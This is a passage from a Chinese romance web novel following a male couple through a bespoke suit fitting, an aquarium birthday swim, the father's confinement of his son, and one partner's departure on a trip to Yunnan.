他们在聊的时候,江瑶浪拿着样衣偷笑,单承言发现了,他没说什么,只是趁江瑶浪没有防备,一起挤进了试衣间,然后直接上手把江瑶浪的衣服脱了下来。
“不是说不能乱搞吗!”江瑶浪推他。
只见单承言从江瑶浪手里拿走样衣,抖开:“瑶瑶抬手。”
单承言慢条斯理地给他穿上,以龟速扣扣子:“哪里乱搞了,我这是在对我的人负责。”
“你对以前的人也负责得这么细致吗?”江瑶浪嫌他。
单承言失笑:“瑶瑶,你可能不太了解老张在我们家的地位。”
他给江瑶浪扣上最后一粒纽扣:“自老张回国以来,你是他接待的第一个,也是唯一一个不姓单的客人。”
“这样合适吗?”江瑶浪皱眉。
单承言给他整理好衬衫,又忍不住亲了一口:“你是我的人。”
*
等他们来到量体室的时候,老张已经拿着软尺等着了,见两人磨磨蹭蹭才进来,他也没说什么,只是把江瑶浪招前,他让江瑶浪站直,然后不断蹲起、观察,给他测量身体的各项数据。
江瑶浪默数,发现老张一共采集了二十八项数据。
真是细致……江瑶浪在心里暗叹。
老张记录数据的时候,单承言凑过去看,被老张毫不留情地挥手赶走了。
可单承言长得高,虽然有老张拦着,但也默默记下来大部分的数据。
他舔了舔自己的犬齿,意味深长地笑着看向江瑶浪。
测量完成以后,老张着手绘制纸样,制定版型,他让江瑶浪十天后过来初次试样,江瑶浪应下,然后和单承言一起离开了裁缝店。
“好专业啊,完全不知所措。”回顾定制流程,江瑶浪觉得自己还是晕晕的。
单承言牵起他的手:“怕什么,你是我的人。”
江瑶浪有点无语:“可以了吧,还要强调多少次啊。”
“那当然是很多次。”单承言捏他的指尖,“要不要去吃点什么?寿喜锅或者椰子鸡?”
江瑶浪最近就谗甜口,也不知道单承言是怎么发现的,他回捏单承言,做出决定:“吃椰子□□,我想吃竹荪和小马蹄了。”
单承言把人带到了商场,正好撞上视察的钟家兄弟,他们互相打了个招呼,然后得了顿免费的椰子鸡。
深夜,两人闹完躺在床上,单承言自江瑶浪身后伸手围住他的胸,装模做样地测量:“105的胸围,起码有两厘米是得益于我吧。”
江瑶浪摘下他的手:“自作多情。”
单承言顺势而下,摸上他的臀:“那这里呢?96,有多少是与我相关。”
江瑶浪往旁边翻滚,远离烦人的某人:“都不关你事。”
单承言长臂一揽把他圈了回来:“怎么可能,我这么卖力。”
江瑶浪踹他膝盖:“烦死了,我要睡觉。”
“嗯嗯,我也要睡觉。”单承言依旧嬉皮笑脸,双臂紧紧锁住江瑶浪的腰,“我要抱着瑶瑶70的细腰安睡。”
江瑶浪又踹他:“烦死了,你这人。”
“嗯嗯。”单承言赖在江瑶浪的颈窝,嗅他的发香,“睡觉睡觉。”
*
十天后,单承言带着江瑶浪按时来到了老张的店里,老张给江瑶浪穿上粗缝的西装,他拿着划粉围着江瑶浪不断标记关键点,记录好后,老张让江瑶浪依旧十天后再来一次,进行二次试样。
第三次踏入老张的裁缝店时,江瑶浪再穿上的已经是一套焕然一新的西
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装,它沉稳优雅,垂坠硬挺,完美符合江瑶浪的内心所想,老张在和他确认最后的微调细节。
在他们调整的时候,单承言给江瑶浪选好了衬衫与配饰。
帝国领白衬衫,搭配深蓝大色块的缎面领带,单承言教他打了标准的温莎结,白色的口袋巾被折成一字,钢笔是他特意准备的电影同款,他把钢笔插进江瑶浪西装内里的插笔袋:“正常书写没问题,但不具备下毒功能,要记住哦,瑶瑶。”
江瑶浪用看傻子的眼神看他。
单承言笑得开心,他给江瑶浪夹上18k金领带夹,又抬起江瑶浪的手给他戴上灿金色的黄钻白金袖扣。
三月中旬,单承言临时有事,江瑶浪独自一人来到老张的店里进行终试,衣物非常合身,最大程度勾勒出江瑶浪肩宽腰细腿长的身材优势,已经无可挑剔,江瑶浪提着成品走出量体室,发现有一身材高大,气质沉稳儒雅,保养得当的中年人含笑看着他。
他的相貌与单承言有七分相似,江瑶浪瞬间猜到了来人的身份。
单锦元从座椅上站起,扣上西装扣,久居高位蕴养而出的威严强势虽内敛于形,却足以让江瑶浪感到不适。
他走到江瑶浪身前,对江瑶浪颔首:“你好,江瑶浪是吗?接下来有时间吗?”
江瑶浪下意识点了点头。
*
江瑶清的成人礼确定在三月二十八号举行。
家长的入场时间是下午两点,但江瑶浪因为紧张,在早上就忙着准备,他换了好几个发型,都觉得与西装不太相衬。
单承言理解他的焦虑,为他做了决定。
他勾起江瑶浪一侧头发,露出左耳:“散着吧,这样好看。”
吃过午饭后,江瑶浪开始收拾东西,主要是拍立得与各式相纸——他还记得江瑶清提过的,想要拍很多拍立得。
单承言开车把他送到学校门口,在江瑶浪下车前,他最后问了一次:“瑶瑶,我可以一起进去吗?”
江瑶浪对他摇摇头,然后开门离开。
在车门被彻底关上前,单承言的声音传出车外:“我在这里等你,玩得开心,瑶瑶。”
江瑶浪提着老花托特包,抱着橙色系的火灵鸟玫瑰花束,跟着指引来到了举办成人礼的大操场。
他远远就看到了江瑶清蹦跳着朝他打招呼。
江瑶浪今天打扮得很用力,完全履行他说过的“盛装出席。”
江瑶清满心欢喜,笑意要溢出:“哥哥的容貌,妹妹的荣耀。”
单承言在江瑶浪提出需要西装时,就问过要不要为江瑶清准备礼服,提议被江瑶清拒绝,今天她穿的是一条白色的赫本裙,搭配裸色的小高跟,她化了淡妆,长发和江瑶浪一样自由披散,温婉知性。
江瑶浪把花束递给她,又从包里拿出一个首饰盒打开,里面躺着一条三圈珍珠项链。
他给江瑶清戴上,说:“虽然今天不是你的十八岁生日,但小清,哥哥依然要祝你开心快乐,快高长大。”
江瑶清把手穿进江瑶浪的臂间,和他一起走过学校准备的成人门,校长与兄妹握手,祝江瑶清成人快乐,前途似锦。
除了电子照片外,他们拍了很多张拍立得,正式的、搞怪的、氛围感的,各种类型都有。
直到夕阳西下,江瑶浪把江瑶清的单人照放进钱包照片夹,然后与妹妹拥抱道别,他离开学校,黑色的车忠诚地等在原处,落日余晖投照在亮面漆身上,显现温柔。
江瑶浪叹了口气。
28. 第 28 章
单承言的生日在四月一号,他没有提前告诉江瑶浪,只是在当天把江瑶浪带到空无一人的海洋馆,单承言拿出提前准备好的鱼尾,对他说。
“瑶瑶,今天我生日,你可以为我游一次吗?”
江瑶浪还处于状况外,他没想过今天会是单承言生日,更意外于他的选择:“确定选这个当生日礼物吗?”
“嗯,只想要你只为我游一次。”单承言再次确认。
江瑶浪点点头,伸手讨要鱼尾:“那你在这里等我一下。”
单承言没给,只说:“我和你一起上去。”
他抱着巨大的鱼尾,率先走向后台,江瑶浪跟在他身后,在更衣室脱下了自己的衣服。
江瑶浪已经很习惯被单承言的目光打量,单承言只给他准备了鱼尾,他在储物柜翻找,找出没开封的凡士林。
拧盖准备涂抹的时候,江瑶浪下意识问了句:“你要来吗?”
“啊?”
“润滑。”江瑶浪用指尖敲敲那罐凡士林,“硅胶鱼尾不润滑的话,很难穿进去。”
于是单承言接过凡士林,江瑶浪坐在小椅子上,把腿搭在单承言蹲下的大腿间,托着腮看他用大手抹匀双腿的每个角落。
“这样就好了吗?”单承言抬头向他确认。
江瑶浪看向自己光泽的双腿:“嗯,接下来会有点狼狈。”
单承言拧上盖子:“我可以帮上忙吗?”
江瑶浪点点头,不扫他的兴:“去把鱼尾放地上铺平吧。”
单承言照做,等他弄好后,江瑶浪曲着身体,坐在地上,把腿艰难地放进鱼尾,耐心地顺着中线往前伸,用手小心地往上捋,直到脚掌踩上脚蹼。
穿上后,他又调整了一下,确保贴合腿部线条,同时让气体从鱼尾里排出来。
等江瑶浪穿戴整理好后,单承言抱着鱼走到水族箱顶部的入口,蹲下拉开活板门,把江瑶浪放进水里。
江瑶浪塌身撑在岸边,指向近处挂着的各色鱼尾:“我们一般都是在这里才穿鱼尾,穿好后直接下水。”
单承言蹲着,看向他没带妆的眼:“那为什么今天没有?”
“不知道。”
“今天没化妆,我们就不算是观众与表演者的关系。”单承言捧着江瑶浪的脸,咬上那颗饱满的唇珠,“我也就能肆无忌惮地亲你。”
江瑶浪攀上他的脖子,放松地靠在他的身上,单承言亲得慢,又黏,许久才放开。
江瑶浪舔舔发烫的唇:“你肆无忌惮的时刻还少吗?”
“今天是不一样的,瑶瑶。”
念及生日,江瑶浪愿意纵他:“那要再亲会儿吗?”
“晚点吧。”单承言站起身,江瑶浪还圈着他的脖子,于是也被带了起来,单承言让他坐在池边,叮嘱,“等我下去了,瑶瑶再下水。”
“嗯。”江瑶浪应声。
*
在等待的时间里,江瑶浪动了动腿,看巨大的尾鳍划开水体,缓慢摆动。
单承言给他准备的这条鱼尾很简约,没有过多的装饰,配色是纯白辅以浅色的珠光蓝点缀,让江瑶浪瞬间想起那辆撞毁的玛莎拉蒂。
他又轻轻叹了口气,直到余光注意到等待的人影,才摒弃杂念,翻身入水。
这个水箱比江瑶浪游过的都要大都要清,鱼群的种类也更丰富,里面摆放着装饰性质的破旧神庙与断壁残垣,池底铺放了大量的发光水晶与金币,让它看起来更像是失落的亚特兰蒂斯。
江瑶浪绕过断柱,灵活地游到了单承言身前。
单承言把手机屏幕亮在他的眼前,上面是打好的一行字:瑶瑶,朝我比心。
他想要比心,江瑶浪就对着他做了各种比心动作,他先是抬起双手,让食指与拇指交叠,比出两个小爱心,又把双手合起,放在胸前,不停变换手势,送出一个个对称而标准的爱心。
他把双臂上抬,手掌下折抵在头顶,用上身构出一个大爱心。
单承言很开心,但依旧不满足地朝他撅了撅嘴。
江瑶浪了然,把手背抵在嘴唇上,他腹部发力吐出一口气,同时快速垂直滑动手臂,画出一个巨大的爱心气泡。
单承言大笑着,抬手去捕捉那串消散的气泡。
他在抓泡泡的时候,江瑶浪就浮在水里逗鱼玩,鱼尾顺着水流轻轻摆动,等他送走一群鱼,才发现单承言已经不抓泡泡了,而是含笑看着他。
见江瑶浪看过来,他伸出手指往上指了指,意思是问他需不需要换气。
江瑶浪摇摇头,往前游了游。
单承言在他贴过来的时候,把四指合并弯起,拇指下翻,放在透明的壁面上,比出半个爱心。
于是,江瑶浪也做出相同的动作,把属于自己的半个心贴在单承言的心上,爱心合成的时刻,单承言闭上眼,侧头亲向处于爱心中央的红唇。
这是一个有障碍的吻,江瑶浪没有回应。
或许单承言也不在意,他只是在许久后才睁眼离开,然后他又向上指了指。
“我在上面接你。”单承言大幅度地做出口型。
江瑶浪朝他点点头,旋身向上游去。
江瑶浪到达箱顶的时候,单承言已经在等着了,他把江瑶浪从水里拉出来,用干净的大浴巾包住他,和来时一样,大步把他抱回更衣室。
离水的江瑶浪浑身都湿漉漉,把单承言身上的衣物也打湿不少,等江瑶浪脱下鱼尾后,两人一起进了浴室。
窄小的室内水汽蒸腾,两人身体紧贴,单承言在帮他洗头发:“一会去吃粥底火锅?”
江瑶浪眯着眼回答他:“好啊。”
*
单承言舒舒服服地过了个生日,然后在第二天被他爸叫了回家。
单锦元在茶室等他,在单承言落座后,给他推了一杯茶。
单承言看向红浓的茶汤,就知道他爸找他谈的是正事。
多半与江瑶浪相关,但他今天不似上一回咄咄逼人。
单承言懒得继续揣摩,端起茶杯一饮而尽。
“分开了吗?”
果不其然,第一句话就是要拆散他们。
单承言掀唇笑了下:“没有。”
“理由呢?”
念及上次谈话时父母对同性/爱情的态度,单承言装出不在意,漫不经心地回:“我还没玩够。”
单锦元听到这句话以后沉默了许久,用鹰隼般的目光审视单承言。
单承言直面他的威压,毫不退缩。
他看到单锦元用力地闭了闭眼,开口打破凝滞的氛围:“承言,我教过你很多东西,也支持你很多决定。”
“唯独反对你玩弄感情。”
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他又给单承言推去一杯茶:“我不会插手你们这段不健康的关系,但从今天起,我会停掉你所有的经济来源。”
单锦元再次看向自己这个少年心性的孩子:“接下来该怎么选择,是你自己的事情。”
单承言抿着唇,盯着那杯倒满的茶,一言不发。
片刻后,他把杯中滚烫的茶水一饮而尽,离开了家。
单承言不是第一次被单锦元停卡,他只把这场谈话当作最普通不过的训斥,离开家以后,他清点了一下还能动用的资金。
各类存款加起来,林林总总还有三千来万。
如果是普通人,当然够花一辈子,但对于单承言来说,这点钱还不够他给江瑶浪多买几样礼物。
单承言有点发愁,也意识到赚钱刻不容缓。
想到赚钱,他下意识的反应就是把自己的画拿出去卖。
他回到别墅,整理了一下计划出售的画作,然后联系上自己师兄,准备把画卖去画廊。
然而令他没有想到的是,师兄只给他报出来一个低得可怜的价格。
他还想争取,师兄为难地说:“师弟,你的天赋是我们这群人里面最高的,国内外的大奖也拿了不少,但是,你没有名气啊。”
“你的这些画,甚至没有机会在画廊上展出。”师兄实话实说,“我也只能是帮你找找渠道,看看能不能打包卖走。”
然后师兄话题一转:“不过你卖画干嘛,又不缺钱。”
单承言单手插着兜,垂眼看向被评为废品的画:“没什么,嫌它们占地方,所以干脆拿出来卖了,看能不能换点钱。”
师兄伸手拍了拍单承言的背:“那行,我帮你留意一下,争取给一个高点的价格。”
单承言对他礼貌地笑了笑:“谢谢师兄。”
“客气什么!”
半个月后,单承言收到了他的画款,师兄只抽了三成佣金,还给凑了个整,一共打了二十五万。
单承言看着那串数字,自嘲地笑。
十三幅画,也就值二十五万。
他退出界面,关掉手机,不想看那笔闹心的转账,转而看向在书桌旁进行论文收尾工作的江瑶浪。
单承言怕他伤眼,给他买了副防蓝光抗疲劳的平光眼镜,此时宽大的黑框眼镜乖乖地架在江瑶浪高挺的鼻梁上,桌面上的台灯光线明亮柔和,虚虚地笼罩着江瑶浪的半身,让他看起来异常温柔,美好得不似世间之物。
像个天使,只会悲悯地停留一瞬。
江瑶浪察觉到了他的长久注视,在敲下最后一个字后,他把文档保存,转头回看单承言。
单承言盘腿坐在床上,朝他张开手。
于是江瑶浪合上电脑,取下眼镜,关闭台灯,爬上了床,顺从地抱住男人,窝进他的怀里。
单承言安静地抱着人,捏捏他的鼻梁:“写完了吗?”
“唔,差不多了。”江瑶浪闭着眼放松思绪,“明天再检查一遍。”
“什么时候答辩?”
“暂定是五月二十五号。”
“好快啊。”单承言笑笑,“瑶瑶要毕业了,小清也快高考了。”
“到时候我来送你们,好不好?”
江瑶浪没说好不好,只是说:“如果你能来的话。”
单承言亲他:“我当然能来。”
29. 第 29 章
单承言几乎花去身上所有的钱,才得以买下那串木珠。
他准时在五月二十号的零点为江瑶浪戴上。
江瑶浪看向自己的左腕间,那是一条品质上乘的单圈奇楠沉香手串,其间缀有一颗包浆醇厚,形制饱满规整的老蜜蜡,一深一浅,一明一暗,软韧温润,古朴幽香。
“他们说沉香能破除烦恼,我不奢求太多,只是希望你能睡个好觉。”
江瑶浪摸上微凉的木珠:“很贵吧。”
单承言笑得无所谓:“还行吧,你戴着好看就值。”
江瑶浪伸手挠挠单承言的下巴:“哪里需要这些,只要你别闹我,我自然能睡个好觉。”
单承言抱着人哼哼,给江瑶浪按摩头上的穴位:“那不行,但考虑到瑶瑶过几天有大事,所以我不累着你。”
江瑶浪在他怀里生出睡意:“谢谢少爷如此贴心。”
“睡吧,好宝宝。”
确认江瑶浪睡熟后,单承言给他盖好了被子,轻手轻脚地下了床,走到阳台,他吹了足够久的夜风,确认自己思绪清晰,绝对理智。
然后他拿出手机,登上属于Sweety的账号,编辑出一条简短的内容,屏蔽了所有的圈内好友,拇指颤抖着悬停在发送键上。
就这样吧,单承言想。
都不是什么重要的。
“少爷,”江瑶浪不知在何时醒来,他敲了敲落地玻璃,“还不睡觉呢?”
单承言下意识按灭手机,转身拉开门走进温暖的室内:“怎么醒了?”
“口干。”江瑶浪揉揉眼睛,又困倦地打了个哈欠。
于是单承言去给他倒了半杯温水,江瑶浪喝过后捏捏单承言的手。
“睡觉吧。”江瑶浪抬眼看他。
“好。”
单承言把他抱上床,用被子盖住两人,江瑶浪难得自觉地缩进他的怀里,抱住男人结实的腰腹入睡,单承言舍不得这一点依赖,直至天光泛白才堪堪浅眠。
*
那条内容终究还是没有发出去。
翌日,单承言找江瑶浪报备:“瑶瑶,我要回家几天。”
江瑶浪从答辩PPT上移开眼:“怎么了吗?”
“有一点事,不重要,我最晚能在二十四号回来。”单承言说。
江瑶浪点点头:“那你去吧。”
“不会舍不得我?”单承言一手撑着桌面,一手撑向椅背,俯下身,把江瑶浪圈进怀里。
“这有什么舍不得的,又不是去哪。”江瑶浪略有无奈。
“亲一口。”单承言侧过脸。
江瑶浪微抬下巴,亲上去。
“那我走了啊。”单承言站直,拿过外套准备出门。
“等下。”
江瑶浪拿过自己的宝贝小糖罐,打开盖子递给单承言:“自己挑吧,挑到什么都是你的。”
单承言挑眉,笑:“这么大方?”
江瑶浪作势要把糖罐盖起:“不要算了。”
“我又没说不要。”
单承言伸出手指,把里面的柠檬糖都选了出来:“谢谢瑶瑶。”
见他拿好了糖,江瑶浪把盖子合上:“路上小心。”
单承言还是没忍住,上前把江瑶浪亲得脸红:“过两天见。”
江瑶浪朝他挥了挥手:“拜拜。”
*
单承言走后,江瑶浪回到书桌,再次完善并确认自己的PPT,他把文件保存,发送到自己的手机上。
随后他合上电脑,摘下眼镜折起,放在关闭的台灯下。
他打开那个空了一半的糖罐,江瑶浪拿出一颗橙子糖,剥开透明的塑料糖纸,把糖含进嘴里。
糖吃完后,江瑶浪琢磨着剩余的甜味,然后起身收拾。
他没有带走单承言送给他的任何东西,包括最初的那张卡,只是把属于自己的物品全部整理好,放进带过来的行李箱里。
他把不大的行李箱竖起推到门口,然后挽起袖子,拿出工具,开始清洁这间公寓,等所有工作完成后,江瑶浪从鞋柜里拿出自己的板鞋穿上。
他将钥匙放在玄关,关闭电闸,然后打开门拉起行李箱,没有丝毫留念地迈步走出这间生活了将近半年的精装公寓。
*
单承言到家的时候,单锦元还没回来。
他也不在意,走去花园陪他妈喝下午茶。
曾韶宁恶趣味地往单承言的红茶里丢了三块方糖:“灰溜溜地回来了?”
“我还以为你能撑得更久一点。”
为了让她开心,单承言捏着鼻子喝了一口:“没必要委屈自己放弃少爷生活。”
然后他理直气壮地朝妈妈伸出手:“所以回来要钱了。”
曾韶宁叹气:“妈妈也没钱,家里的财政大权被爸爸掌握。”
单承言哼了一声,明显是不信。
单锦元那个老婆奴,哪里有胆子敢管这么多。
但他也无可奈何,只能老老实实地供他妈消遣。
傍晚六点半,单锦元准时走进家门,他找到自己的夫人,抱着人亲在眉心:“我回来了。”
曾韶宁也亲亲他:“辛苦啦。”
单承言不敢上前打扰,但又烦他们黏糊,只能憋屈地移开眼当作无事发生。
单锦元更是假装没有这个儿子,牵着曾韶宁就往饭厅走。
直到曾韶宁消食完成,他才把单承言叫进书房。
“分了?”单锦元说话向来直接。
“分了。”单承言说谎不眨眼。
单锦元烦他,也不想说话了,只是做出驱赶的手势,要把人赶离视线范围。
“我钱呢,该给了吧?”钱没到手,单承言怎么可能轻易滚蛋。
“也就这点能耐。”单锦元冷笑,“老实在家里待着吧。”
今天拿不到钱本来就在意料之中,单承言没有丝毫异议,他离开了书房,回到自己的卧室舒舒服服洗了个澡,搭着毛巾湿着头躺床上找江瑶浪聊天。
他本来想和人视频,但江瑶浪没接,单承言猜他在忙,也不敢多打扰,只是发了几条信息,又在十一点的时候给他发了条晚安。
江瑶浪过了一段时间才回。
【是我的】:晚安。
单承言等到了江瑶浪的晚安,把枕头抱进怀里算作替代,盖上被子睡着了。
*
单承言很焦躁,尤其是单锦元一直不肯给点准话,每次只让他老实待着。
二十四号这天,单承言拦住出门上班的单锦元:“什么时候给我钱?”
单锦元只说:“急什么?让你在家待几天,又不是要你的命。”
怎么不算要我的命,单承言想。
但他也不能表现出来,压着眉耐着性子又问了一次:“给我钱。”
单锦元摇头。
单承言瞪了他一眼,撞开他的肩膀就往外走。
只是令他没想到的是——
“光叔,找几个人把他绑起来。”
单锦元的声音冷得没有一丝感情。
单承言双拳难敌四手,很快就被压制在地。
单锦元居高临下地看向不停挣扎的单承言:“我说了,老实待着。”
然后他转身,司机已经给他开好了门,弯腰上车前,他对跟在身后的管家吩咐一句:“光叔,单承言可以伤可以残,但是不能离开这个家。”
忠诚的老管家颔首:“明白的,少爷。”
单锦元的命令向来没人敢违抗,单承言就此被关了起来,困住他的地方甚至是小时候才用的禁闭室。
最开始的时候,陪着他的只有四面墙和一小扇通风的窗,三餐被按时送来,又被他掀翻在地。
他发了好
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几次疯,把自己弄得遍体鳞伤,终究还是曾韶宁心软,给他送来了手机。
单承言的手还沾着血,知晓日期和时间的瞬间,他忍不住红了眼眶。
他解锁手机,点开微信,属于江瑶浪的对话框里安安静静地躺着两条发自一天前的消息。
【是我的】:答辩顺利结束。
【是我的】:你安心处理家事。
单承言如困兽般大哭,他终究还是再次失信于江瑶浪。
*
江瑶浪的答辩非常顺利,他准备得充分,答辩老师也没有刻意为难,离开答辩教室的那一刻,他无比清晰地认识到——结束了。
一切都结束了。
门外有一个许久未见的熟悉身影,他剪了个很乖的妹妹头,抱着花背着光,含笑看着他,向他招招手。
“好久不见了哦,小学弟。”
看到来人,江瑶浪惊喜地睁大了眼,大步朝前走:“温学长,你怎么回来了。”
温绍臣把手中的花送给江瑶浪:“小学弟今天答辩,我当然是要来祝他毕业快乐的。”
“谢谢学长,答辩很顺利。”江瑶浪抱着花,说了一下情况。
温绍臣没有丝毫意外:“你一直都很优秀。”
然后他提出邀约:“走吧,学长请你吃大餐。”
中午的阳光还是烈,温绍臣打开遮阳伞,示意江瑶浪进来躲太阳。
但温绍臣比江瑶浪矮不少,他也不可能让温绍臣举高了手来撑,于是江瑶浪接过伞柄,熟练地迎着太阳打伞,温绍臣也没客气,无比自然地贴近江瑶浪。
温绍臣还记着江瑶浪害怕坐车,也就没有提自己是开车来的,而是和他一起乘地铁来到就近的商圈。
两人围着商场的楼层导航图,思考要吃什么。
“唉。”温绍臣叹气,“好难选,小学弟你想吃什么呀?”
江瑶浪也选不出来,皱着眉纠结。
于是温绍臣开始引导:“中餐、西餐、日料,或者东南亚菜?”
有选项的话就好回答,江瑶浪选了中餐。
“带汤还是不带汤的呢?”
江瑶浪想吃带汤的。
温绍臣指了指潮汕牛肉火锅:“这个怎么样?你们健身的应该都爱吃牛肉吧?”
见终于选好了餐厅,江瑶浪如释重负,连忙点头。
落座后,江瑶浪给温绍臣倒茶,而温绍臣则是拿出手机扫码,在下单界面弹出后,把手机递给江瑶浪。
“点菜吧,小学弟。”
江瑶浪拿着手机,结合两人的喜好,很快就点好了菜,他把手机还给温绍臣,温绍臣也没再看,直接就点了下单。
在等待食物的时候,江瑶浪再次看向许久未见的温绍臣。
温绍臣笑着任由他打量:“看出什么来了吗?”
江瑶浪点点头:“感觉学长开心了很多,就像是散去了一直困扰自身的秋雾。”
“被看出来了呀。”温绍臣的眉心已许久不见郁色,他坦然承认,“不再坚持做一些傻事后,整个人都轻松了。”
“那要恭喜学长。”江瑶浪举起茶杯。
温绍臣和他碰了碰:“好事发生,给小学弟也沾沾好运。”
趁着气氛不错,温绍臣又提出另一个邀请:“等小清考试结束后,有没有兴趣和我一起去旅游?”
“我和小清吗?”江瑶浪问。
“嗯,我最近很有空,可以带你们好好玩儿。”温绍臣说。
“我要先问问小清。”江瑶浪一向尊重妹妹的选择。
温绍臣很理解,但也自信:“小清会愿意的,她和我说了好多次想我啦。”
闻言,江瑶浪说:“她没打扰学长吧?”
“怎么会呢。”温绍臣摇摇头,看向江瑶浪的眼神里是柔软的关切,“你们两个对我来说,都不是打扰。”
30. 第 30 章
正如温绍臣所想,江瑶清非常乐意自己的毕业旅行由他来安排。
知晓后的温绍臣问他们计划什么时候出行,他来规划行程。
就着这个时间,兄妹俩还讨论了好一番,江瑶清觉得可以多留几天,等江瑶浪的毕业典礼结束后再出发,但江瑶浪却认为,没有这个必要。
江瑶清最终还是听了哥哥的话,同意在六月十号就启程。
做下决定后,江瑶浪回到寝室收拾个人物品,三个舍友明显舍不得,哀怨地控诉他为什么不留下来参加毕业典礼。
江瑶浪没有过多解释,只是扬了扬手中的相机:“不是说想让我给你们拍照?就今天吧。”
江瑶浪的拍照技术依旧很好,他们拍遍了校园的每个角落,直到存储卡满。
他把卡也留给了他们,拎起自己的行李与熙熙攘攘的学生擦肩而过,离开了这所承载了他的志气与郁气,理想与现实的大学。
在机场候机的时候,一位管家打扮的和蔼老人找到江瑶浪,给他递来薄薄的信封。
江瑶浪感到疑惑,没有伸手去接。
老管家做出解释:“少爷让我给您的,也就是单承言的父亲。”
于是江瑶浪接过信封,打开,取出里面的内容物。
一张做工精致的金属名片,只印了单锦元的名字与联系方式。
一张被他拒绝过的转账支票,面额三千万。
最后是一张字条,字体藏锋逆入,收放有度,内容简单:管教无方。
他想把支票还回去,可刚刚还在他身前的老管家早已悄然消失。
江瑶浪也不再过多纠结,把三样物品放回信封,随温绍臣与江瑶清一起登机。
普通客机自然不能与曾经搭乘的私机相比,但江瑶浪看向舷窗外的蓝天白云,心情如鸟儿般自由。
这就是我的生活,江瑶浪想。
*
显示发送失败的满屏消息与拒接的通话记录无一不在清晰地告诉单承言。
他失去了联系江瑶浪的方式。
单承言被这个事实刺激得发狂,他强行撑起发软的身体,扑到门前,发疯般锤击囚禁他的门,发出震响。
门外传来礼貌的敲门声,单锦元推门而入。
发狠的单承言挥拳打向自己的父亲,单锦元随手拦下,并用力地抽向单承言。
单承言挨了一记没有收力的耳光,半张脸迅速充血红肿,血丝从破损的嘴唇溢出,连牙齿也隐隐松动。
单承言吐出带血的唾沫,阴沉的目光钉向来人:“你说过不插手的。”
他的孩子有点可怜,单锦元想。
但他不同情,残忍地说出单承言所不知道的事实:“我没有插手,这就是他的选择,我只是帮了他一把。”
单锦元看向他哭泣的孩子:“让他更顺利地离开你。”
单承言踉跄着摸索到墙壁,颓然地滑落,他低着头,久未打理的发垂下,掩住一塌糊涂的脸:“他走了吗?”
“嗯。”
“今天吗?”
“是。”
“去哪里了?身边还有别人吗?”
单锦元走到儿子身前,蹲下,用手托起他的脸:“我不知道。”
“那他……开心吗?”
单锦元点头:“光叔说,他登机时是笑着的。”
单承言眼里希冀的光湮灭于黑寂,他颤声说出:“是吗,那就好。”
年长成熟的父亲拥住他受伤的孩子,淳淳教导:“单承言,没有人会爱上以自我为中心的小孩。”
然后他放手,离开。
囚禁单承言的门没有再关起。
它敞开着,静默地等待,等待里面的人能够站起走出。
*
飞机落地昆明,在温绍臣的建议下,他们没有把这个城市当作中转站,而是选择慢节奏地游玩。
第一餐是过桥米线,汤头鲜甜浓香,特制的米线顺滑软糯,江瑶清抱着勺子喝汤,满足地眯着眼睛:“绍臣哥真的太会选了!!”
温绍臣放下半颗青梅,笑着看她:“我还怕你会觉得清淡,喜欢的话就太好啦。”
他又扭头看江瑶浪:“小学弟也喜欢吗?”
被点名的江瑶浪此时在伸筷子,打算也尝尝温绍臣爱吃的青梅。
闻言,江瑶浪点头:“乳鸽和破酥包也好好吃。”
于是温绍臣做主,打包了半打破酥包,但因为忙着在翠湖游逛,直到夜幕拉下,破酥包也依旧被温绍臣提在手里。
“没事,不会浪费。”
温绍臣让兄妹安心,然后带他们去吃菌子火锅,兄妹都还是第一次见到种类繁多的野生菌,眼花缭乱,都不认识。
江瑶浪指着椭圆的橙红野果,问:“这也是菌子吗?”
顺着江瑶浪指出的方向,温绍臣歪头看:“这个是树番茄,是蔬菜也是果子。”
这个名称江瑶浪有印象:“蜜渍树番茄的原材料原来长这样啊。”
“对,这个是做法之一,小学弟喜欢的话,明天带你们试试别的吃法。”温绍臣提出建议。
江瑶浪挺感兴趣的,江瑶清更是不挑,所以愉快地决定了要多吃几种。
饭后,他们散步到老街,温绍臣推开独栋花园小院的门,风铃的响声招来房主,温绍臣给兄妹介绍来人:“范申,是我的朋友,这几天就住在这里吧。”
他把手上提了半天的破酥包递给范申:“房租。”
范申也不嫌弃,而是乐呵呵地收下,他对兄妹说:“房间都已经安排好了,你们的行李我也放进去了,不过要自己分一下。”
江瑶浪点头示意,并对他道谢。
范申准备给他们指路,但被温绍臣摆手拒绝。
温绍臣显然是很熟悉这个小院,他带着兄妹走了一圈,介绍各个区域,最后把他们带进了各自的房间。
温绍臣对他们说晚安。
江瑶浪问:“学长,你不住这层吗?”
温绍臣摇摇头,说:“我和范申住一起。”
于是江瑶浪也不再打听,和他道了晚安。
在温绍臣计划的行程里,唯一确定的只有目的地,而抵达后的游玩时间、景点,甚至是特色食物的选择上都很灵活,主打的就是一个随心所欲,随时调整,因为范申做饭好吃,他们还在这个闹中取静的小院里窝了两天。
这种安排正好符合江家兄妹的喜好,在昆明停留的时间里没有丝毫压力,吃吃喝喝,走走逛逛,直到一周后,江瑶清问温绍臣明天玩什么。
温绍臣把整理好的花束放在江瑶清手里,说:“是小清提过的,有风的地方。”
江瑶清做了个同款捧花动作:“是我想的那个吗!”
温绍臣点头,翌日,三人揣着满身花香来到了大理。
温绍臣在大理有自己的民宿,就在洱海边。
江瑶清拉着行李箱跟在温绍臣身后,脚步轻快:“和绍臣哥旅游真舒心啊,还省钱。”
温绍臣说:“我很喜欢旅游,去的地方多了,也就知道该怎么玩了。”
“好感的地方会重复去,所以干脆定下固定的居所,有时候是住朋友家,有时候是自己买的房子。”
三人走进民宿,引入眼帘的是无边际大露台,轻松一览苍山洱海。
江瑶清惊喜地拿出手机拍照,江瑶浪由着她在这里玩,提上她的行李,在温绍臣的指引下找到他们的房间。
江瑶浪把个人物品放好,然后
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和温绍臣沟通住宿费用,他的意思是多多少少都应该给一点。
对此,温绍臣是这么拒绝的:“昆明的住宿一共花了半打包子,而给你们安排的区域本来就不对外开放,只供我招待亲友。”
“所以,”温绍臣摊摊手,“小学弟准备给我多少钱呢?”
江瑶浪很无奈,他这个学长就是人太好。
于是江瑶浪说:“学长,我现在有钱的,债务也全部还清了。”
温绍臣没太意外,但是也没接受:“可这和我不想收有什么关系吗?”
“小学弟,有空的话,找你妹妹学习一下怎么放松,好吗?”
话说到了这个份上,江瑶浪也只能接受,他张嘴就要道谢。
温绍臣不想听,只让他弯下腰。
江瑶浪照做。
